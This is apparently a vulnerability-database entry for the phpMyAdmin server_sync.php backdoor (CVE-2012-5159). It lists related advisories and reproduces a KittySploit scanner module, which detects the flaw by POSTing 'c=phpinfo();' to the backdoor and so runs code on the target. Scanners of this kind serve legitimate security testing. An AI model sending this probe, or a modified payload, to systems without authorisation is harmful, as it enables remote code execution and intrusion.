phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2012-5159 | 10 Oct 201200:00 | – | circl | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cve | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_PMA_BACKDOOR | 25 Sep 201222:55 | – | d2 | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | debiancve | |
| phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit) | 10 Oct 201200:00 | – | exploitdb | |
| phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159) | 10 Aug 202606:19 | – | kittysploit | |
| phpMyAdmin 3.5.2.2 server_sync.php Backdoor | 25 Sep 201200:00 | – | metasploit | |
| CVE-2012-5159 | 25 Sep 201222:55 | – | nvd | |
| phpMyAdmin 'server_sync.php' Backdoor Vulnerability | 26 Sep 201200:00 | – | openvas |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyAdmin server_sync.php backdoor (CVE-2012-5159)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)',
'description': (
'Detects CVE-2012-5159 by POSTing c=phpinfo(); to /server_sync.php.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2012', 'phpmyadmin', 'backdoor', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-5159',
],
'cve': 'CVE-2012-5159',
}
def run(self):
for base in ('/phpmyadmin', '/pma', '/mysql', ''):
path = f'{base}/server_sync.php'
r = self.http_request(
method='POST',
path=path,
data='c=phpinfo();',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if r and '<title>phpinfo()' in (r.text or ''):
self.set_info(
severity='critical',
reason='phpMyAdmin server_sync.php backdoor (CVE-2012-5159)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.74515